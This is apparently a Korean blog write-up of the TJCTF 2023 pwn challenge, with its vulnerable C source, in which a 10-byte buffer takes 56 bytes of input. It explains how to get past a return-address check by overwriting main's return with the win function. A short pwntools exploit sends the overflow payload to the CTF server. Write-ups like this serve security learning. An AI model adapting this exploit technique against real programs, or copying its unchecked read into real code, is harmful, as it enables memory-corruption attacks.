728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include "stdio.h"
#include <stdlib.h>
void laugh()
{
printf("ROP detected and denied...\n");
exit(2);
}
void win()
{
FILE *fptr;
char buf[28];
// Open a file in read mode
fptr = fopen("flag.txt", "r");
fgets(buf, 28, fptr);
puts(buf);
}
void pwnable()
{
char buffer[10];
printf(" > ");
fflush(stdout);
read(0, (char *)buffer, 56);
/* Check ret */
__asm__ __volatile__("add $0x18, %rsp;"
"pop %rax;"
"cmp $0x0401262, %rax;"
"jle EXIT;"
"cmp $0x040128a, %rax;"
"jg EXIT;"
"jmp DONE;"
"EXIT:"
"call laugh;"
"DONE: push %rax;");
return;
}
int main()
{
setbuf(stdout, NULL);
pwnable();
return 0;
}
2.2. 분석
스택 정렬 문제로 고생한 문제 -_-
메인 함수에서 pwnable 함수를 호출하고, 여기서는 10바이트 버퍼에 56 바이트를 입력 받는다.
다만, pwnable 함수의 ret address의 변조 여부를 확인하는 코드가 있으며, 만일 변조되었다면 강제 종료한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
overflow
3.2. 공격 준비
pwnable -> main으로의 ret address는 검사 하지만, main -> _libc_start_main으로의 주소는 검사하지 않는다.
그러므로 여기를 win 으로 변조하면 된다.
4. exploit
from pwn import *
#p = process('./out')
p = remote('tjc.tf',31080)
p.sendlineafter(b'> ',b'A'*18 + p64(0x401284) + b'A'*8 + p64(0x4011b4))
print(p.recv(1024))
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
Dreamhack CTF Season 3 Round #4 (🌱Div2) - 모든 문제 (0) | 2023.05.29 |
---|---|
TJCTF 2023 - pwn/formatter (0) | 2023.05.29 |
TJCTF 2023 - pwn/shelly (0) | 2023.05.29 |
TJCTF 2023 - pwn/flip-out (0) | 2023.05.29 |
TJCTF 2023 - pwn/teenage-game (0) | 2023.05.26 |